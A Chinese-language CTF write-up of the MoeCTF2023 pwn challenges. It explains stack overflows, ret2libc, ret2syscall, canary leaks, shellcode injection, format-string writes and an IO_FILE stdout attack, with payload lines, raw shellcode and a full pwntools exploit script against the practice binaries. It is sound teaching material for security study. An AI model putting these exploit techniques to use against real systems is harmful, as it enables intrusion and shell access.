16.2 KiB2023-11-12 18:08

`#`MoeCTF2023 Pwn WriteUp

`#`前言

今年暑假比较摆烂... 最后也没做完 MoeCTF 的 pwn 题, 只能赛后抽时间复现一遍. 复现一遍之后还是复习了不少知识点, 写一篇 wp 以作笔记.

`#`题目复现

`#`fd

fd 即 file descripter, 又叫文件描述符, 它是一个抽象的指示符, 用一个非负整数表示.它指向了由系统内核维护的一个 file table 中的某个条目 ( entry ), 后者又指向储存文件真实地址的 inode table.

一般来说操作系统会为每个用户进程预留三个默认的 fd: stdin, stdout, stderr. 它们对应的非负整数值分别为 0, 1, 2. 之后的 fd 从 3 开始分配.

反编译得到核心代码:

fd = open("./flag", 0, 0LL);
new_fd = (4 * fd) | 0x29A;
dup2(fd, new_fd); // 将 new_fd 重定向到 fd
close(fd);
puts("Which file do you want to read?");
puts("Please input its fd: ");
__isoc99_scanf("%d", &input);
read(input, flag, 0x50uLL);
puts(flag);

只需要向 flag 中读入 ./flag 的内容, 也就是输入 new_fd 即可获取 flag.

由 fd = 3, new_fd = (4 * fd) | 0x29A = 12 | 0x29A = 670.

`#`int_overflow

整数溢出, 由于 32 位整型的最大值为 $2^{32}-1$ , 大于最大值的数据会从 4 字节处截断, 利用这个特性可以构造输入.

`#`ret2text_32

通过 IDA 可以看到程序明显存在栈溢出漏洞，覆盖返回地址到 b4ckdoor 中的 system 函数，IDA 中的 string 窗口也可以看到 binsh 字符串。再根据 x86 函数调用知识, 函数通过栈传递参数。

payload = b'a' * 0x5c + p32(system_addr) + p32(0x1) + p32(binsh_addr)

`#`ret2text_64

与 x86 不同，x86-64 通过寄存器传参，前 6 个参数分别在 rdi, rsi, rdx, rcx, r8, r9 中. 通过ROPgadget可以查找 pop_rdi_ret 的地址.

payload = b'a' * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

`#`uninitialized_key

考察对内存的理解. 当一个程序运行于用户进程中时, 系统会分配一个虚拟内存空间, 内存里每个字里的数值并不会被初始化.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  welcome();
  get_name();
  get_key();
  return 0;
}

在 main 函数里, 调用 get_name 前会给 rsp 减去一定值以分配栈空间, 回收时会直接给 rbp 加上对应的数值回收. 调用 get_key 时分配完栈空间后并不会初始化栈, 于是 get_name 里栈上的数值会一直保留.

注意到 get_name 里的 age 和 get_key 里的 key 都是 rbp-0xC, 因此如果想覆盖 key 为 114514, 只需要提前将 age 覆写为 114514 即可.

`#`uninitialized_key_plus

与上道题目略有不同, 这次 get_name 的 age 是一个长度为 24 的字符串, 字符串的起始地址为 rbp-0x20, 而 key 仍然为 rbp-0xC, 因此需要将前 (0x20 - 0xC) 个字节设置为 padding, 最后 4 个字节放置 114514.

注意: 不可以图省事把最后 8 个字节用 p64(114514) 处理, 这是因为根据小端序, 最终实际得到的 rbp-0xC 全为 0.

payload = 8 * b'a' + 8 * b'c' + 4 * b'b' + p32(114514)

`#`ret2libc

没有给 libc, 但是可以通过 puts 函数得到 puts@got_addr, 从而确定 libc 版本, 进而得到 libc_base, 然后构造 system getshell.

确定 libc 版本可以使用 LibcSearcher.

如果栈不对齐可以通过加一个 ret 滑板解决.

`#`ret2syscall

通过 ROPgadget 查看需要的 gadget, 然后根据 x86-64 下函数调用栈规则构造 execve("/bin/sh", 0, 0), 注意 execve 的系统调用号是 0x3b.

payload = b'a' * (64 + 8) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(pop_rsi_rdx_ret_addr) + p64(0) + p64(0) + p64(pop_rax_ret_addr) + p64(59) + p64(syscall_addr)

`#`PIE

题目虽然打开了 PIE 对代码段进行了地址随机化, 但是由于给出了 vuln_addr, 可以得到 PIE_base, 进而可以确定程序运行时其他各个函数的实际地址, 再构造 system 函数调用栈即可.

由于这道题目有 call system 这种 gadget, 所以 payload 更容易构造了:

payload = b'a' * 80 + b'bbbbbbbb' + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(call_system_addr)

`#`little_canary

这道题目打开了 canary 保护, 但是由于程序会直接打印紧挨着 canary 的 buf, 而 read buf 又存在溢出, 因此可以通过 buf 覆盖 canary 的最低一字节的 \x00, 继而 printf 时会直接把 canary 的其余 7 字节打印出来.

得到了 canary, 这道题目的其余部分和 ret2libc 便别无二致.

注意: lead canary 时只需要 sendline(b'a' * 72), 字节流第 73 位就是 0xa (即换行符).

`#`rePWNse

简单读一下, 发现 makebinsh 函数只有在 7 个变量满足特定的条件时才可以拼接为 "/bin/sh", 并且会给出这个字符串的地址. 据此得到一个 7 元一次方程组, z3 求解即可.

得到了 "/bin/sh", 同时在函数列表里看到一个 action 函数, 已经基本构造好了 execve 的函数调用栈, 利用栈溢出传入 "/bin/sh" 后直接调用皆可.

`#`shellcode_level0

打一个 COP. 程序没有打开 NX 保护, 也就是说栈可执行. 并且程序逻辑是读入一个 buf, 然后 call buf, 那么直接给 buf 发送一个 shellcode 即可.

payload = asm(shellcraft.sh())

`#`shellcode_level2

.text:000000000000123C 48 8D 45 90                   lea     rax, [rbp+s]
.text:0000000000001240 0F B6 00                      movzx   eax, byte ptr [rax]
.text:0000000000001243 84 C0                         test    al, al
.text:0000000000001245 74 16                         jz      short loc_125D

ida 打开, 简单阅读汇编代码可以得知, 如果输入的字符串 s 的最低位不为 0, 则会将整个 shellcode memset.

据此, 往原先有的 payload 后面加个 \x00 即可.

payload = b'\x00' + asm(shellcraft.sh())

注意小段序的性质: 为了使 rax 内存低位为 0, 那么字符串 s 的内存低位就为 0, 那么 payload 的内存低位就应该为 0, 那么 payload 的数值高位就为 0. 故 \x00 在最开头.

`#`shellcode_level3

首先 checksec 分析题目, 注意到程序关闭了 PIE 函数地址随机化, 并且 ida 反编译可以查看得存在后门函数 givemeshell.

int __cdecl main(int argc, const char **argv, const char **envp)
{
    puts("5 bytes ni neng miao sha wo?");
    mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
    gets(&code);
    memset(&unk_40408E, 0, 0xF72uLL);
    (code)();
    return 0;
}

程序逻辑大概是向 .bss 段上的全局变量 code 读入一段不定长度的数据, 但是进一步分析可得知实际可以利用的长度只有 5 bytes, 这是因为程序里的 memset 会把 code+5 之后的所有内容清空, 故可以利用的大小只有 5 bytes.

不过我们的 givemeshell 函数地址固定为 0x4011D6 为 3 bytes, 所以是绰绰有余的.

需要注意的地方是, 由于 call 指令跳转时使用的是相对偏移量, 所以实际上需要填入的地址是 code_addr - givemeshell_addr, 但是又因为 python 理论上是没有数据范围的, 也就是说 python 没有最高位这个说法, 所以我们需要手动把得到的负数转为对应的 4 字节数字, 也就是 0xffffffff & (givemeshell_addr - code_addr).

`#`changeable_shellcode

checksec 分析题目, 注意到保护全开, 只能利用题目中现有的内容构造 payload.

输入的 shellcode 会被复制到 0x11451400 这个位置, 看似很简单设置 payload 为 shellcode 即可, 但是由于 filter 函数过滤了所有 shellcode 必有的 \xf 和 \x5, 因此直接输入裸的 shellcode 会被 ban 掉.

考虑一种绕过方式是把 shellcode 中已有的 \xf 或者 \x5 两者之一修改掉, 绕过输入判断后执行 shellcode 时再改回来, 即可 get shell.

为了方便期间, 确定 shellcode 中替换掉 \x5 为 \x00, 然后再在 shellcode 前加入 asm 修改 \x00 的位置为 \x5. 现在的问题在于如何确定 \x5 的位置. 根据小端序的知识, shellcode 的 "数值低位" 应该在 "内存高位", 具体位置通过动态调试两次即可确定.

payload 构造方法如下:

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x00"

payload = asm(
    """
    mov al, 0x05
    mov [0x114514025], al
    """
)

payload += shellcode

注意: 尽量使用 \x05 含量少且位置易于确定的 shellcode, 虽然不影响正确性, 但是可能增加调试时间.

`#`format_level0

格式化字符串入门题目, 考点是通过格式化字符串泄漏栈上的内容.

payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p"

`#`format_level1

先说非预期解, 根据题目设定, 只需要主人公的 HP 和攻击力都高于龙, 沉淀上 114514 次就应该能过, 不过就是脚本跑着比较慢.

预期解/考点是: 通过格式化字符串漏洞, 将龙的 HP 修改为极小值, 从而缩减过关时间.

payload 有两种构造方式: 将龙的 HP 变量的地址放在内存低地址或内存高地址.

两种构造方式都可以对, 只需要保证字节对齐以免夹断即可.

### 32 位下两种构造方式
payload = p32(dragon_hp_addr) + b'%7$n'
payload = b"aaaa%9$n" + p32(dragon_hp_addr)

`#`format_level2

与上一道题目基本类似, 只是游戏胜利后不会调用 success 函数了, 因此需要转换思路.

首先, 考虑修改 printf@got 为 success@got 的方法, 发现这是不可能的, 因为 str 每次 read 的长度只有 16 bytes, 不可能在一个 str 里完成修改 (一次输出空格的方式由于输出量过大很难成功, 而修改两次的方式又会因为第二次 printf 时 printf@got 已被局部修改而失败), 因此这个利用思路没有可实现性;

其次, 考虑修改 ret_addr 为 success_addr 实现劫持程序控制流, 可以利用的 ret_addr 有两个, 分别是 game_ret_addr 和 main_ret_addr, 两个返回地址都可以使用.

具体来讲, 由于同一个函数调用栈中两个变量的相对偏移是固定的, 因此可以泄漏任意栈地址, 加上通过 gdb 调试得到的 offset 确定返回地址的位置. 然后将返回地址放在栈上, 使用 %hhn 修改即可, 构造方式可以参考 level1.

`#`format_level3

考点: 不在栈上的格式化字符串

之前没做过这个考点的题目, 趁着这次机会好好学一下.... 首先要清楚不在栈上的格式化字符串题目的难点在哪里? 可以控制的字符串变量在栈上和在 .bss 段上产生了怎样的区别呢?

停下来思考.

问题主要出在使用格式化字符串 %hhn 写入数据上, 回想前两道题目的做法, 由于输入的字符串变量在栈上, 我们只需要良好的布局 payload, 即可控制栈上的数据为我们想要修改的地址, 再计算出该数据与格式化字符串的 offset, 通过 %offset$hhn 这种形式就可以修改该数据或该数据指向的数据 (如果有的话).

然而, 如果可控的字符串不在栈上, 我们无法有效的布局栈, 无法计算 offset (因为用到这个字符串的时候只是会在栈上复制一个引用)以修改返回地址或者函数的 got 表, 导致无法利用.

不过根据 %n 的特性, 如果格式化字符串指向的栈上的数据可以被再次解引用, 那么会对二次解引用的数据进行修改.

也就是说,

03:000c│ 0xffffd61c —▸ 0x804963e (talk+16)

这种栈结构可以直接把这里的 0x804963e 修改.

06:0018│ ebp 0xffffd628 —▸ 0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40

这种栈结构可以通过 %n 修改 0xffffd658 的数值, 但是无法修改它之前或之后的数据.

根据以上的特性, 我们再来看看这个栈:

00:0000│ esp  0xffffd610 —▸ 0x804c01c (str) ◂— 0xa /* '\n' */
... ↓
02:0008│      0xffffd618 ◂— 0x10
03:000c│      0xffffd61c —▸ 0x804963e (talk+16) ◂— add    ebx, 297ah
04:0010│      0xffffd620 —▸ 0x804a231 ◂— 0x47006425 /* '%d' */
05:0014│      0xffffd624 —▸ 0x804bfb8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bec0 (_DYNAMIC) ◂— 0x1
06:0018│ ebp  0xffffd628 —▸ 0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— ...
07:001c│      0xffffd62c —▸ 0x8049737 (game+121) ◂— jmp    804975ah
08:0020│      0xffffd630 —▸ 0xf7faed00 (_IO_2_1_stderr_) ◂— 0xfbad2087
09:0024│      0xffffd634 ◂— 0x0
0a:0028│      0xffffd638 ◂— 0x3
0b:002c│      0xffffd63c ◂— 0x3ac4d800
0c:0030│      0xffffd640 ◂— 0x1
0d:0034│      0xffffd644 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
0e:0038│      0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
0f:003c│      0xffffd64c —▸ 0x8049784 (main+30) ◂— mov    eax, 0

那么我们只需要应用这个原理构造栈就好了:

将 offset 为 6 处对地址解二次引用的 0xffffd658 修改为 game 的 return address 0xffffd64c, 于是 offset 为 0x0e 处的栈会变为

0e:0038│ 0xffffd648 —▸ 0xffffd64c —▸ 0x8049784 (main+30) ◂— mov eax, 0

那么再次应用这个原理, 修改 0x0e 处栈帧的数据时就可以直接控制返回地址为 success_addr.

`#`feedback

考点: IO_FILE

先用 checksec 检查一下程序保护, 发现保护全开. 再用 ida 反编译, 发现程序存在一个比较明显的数组指针越界.

参考一下 CTF-wiki 上关于 IO_FILE 的讲解, 由于数组指针 feedback_list 在 .bss 上, 而 stdout@glibc 也在 .bss 上, 那么就可以通过数组下溢出控制到 stdout@glibc 指针, 由于 printf 输出是走 stdout 的, 所以通过控制 vtable 参数即可做到任意地址读.

这里我们读出 stdin 的地址后, 减去 libc.symbols["IO_2_1_stdin"] 即可得到 libc base.

再根据 libc base 可以求出 puts@got, 从而得到 flag 加载的地址.

exp:

from pwn import *

proc = "./feedback"
context.log_level = "debug"
context.binary = proc

parent_path = "/home/flower/CTFhub/Contests/MoeCTF2023-PWN/feedback/"
io = process([parent_path + 'ld-2.31.so',parent_path + 'feedback'], env = {'LD_PRELOAD' : parent_path + 'libc-2.31.so'})
elf = ELF(proc)
libc = ELF("libc-2.31.so")

if args.G:
    gdb.attach(io)

def feedback(index: int, content: bytes) -> None:
    io.recvuntil(b"write?", drop=True)
    io.sendline(str(index).encode())
    io.recvuntil(b"feedback.", drop=True)
    io.sendline(content)

payload1 = flat([0xfbad1800, 0, 0, 0]) + b"\x00"
feedback(-8, payload1)
stdin_addr = u64(io.recvuntil(b"\x7f", drop=False)[-6:].ljust(8, b"\x00"))
log.info(f"stdin_addr ===> {hex(stdin_addr)}")

libc_addr = stdin_addr - libc.symbols["_IO_2_1_stdin_"]
log.info(f"libc_addr ===> {hex(libc_addr)}")

flag_addr = libc_addr + libc.symbols['puts'] + 0x16d2e0

payload2 = flat([0xfbad1800, 0, 0, 0, flag_addr, flag_addr + 0x50])
feedback(-8, payload2)

io.interactive()

`#`总结

这次 Moe 复现还是补充了一些细微的知识点的, 以后打 pwn 需要注意的点有:

linux 文件描述符
栈不会被初始化
call 指令跳转时使用的是相对偏移量
注意字节序在构造 payload 时的影响
手写特殊的 shellcode 的能力
数组指针越界漏洞 (下溢或者上溢)

`#`内容

`#`回到顶部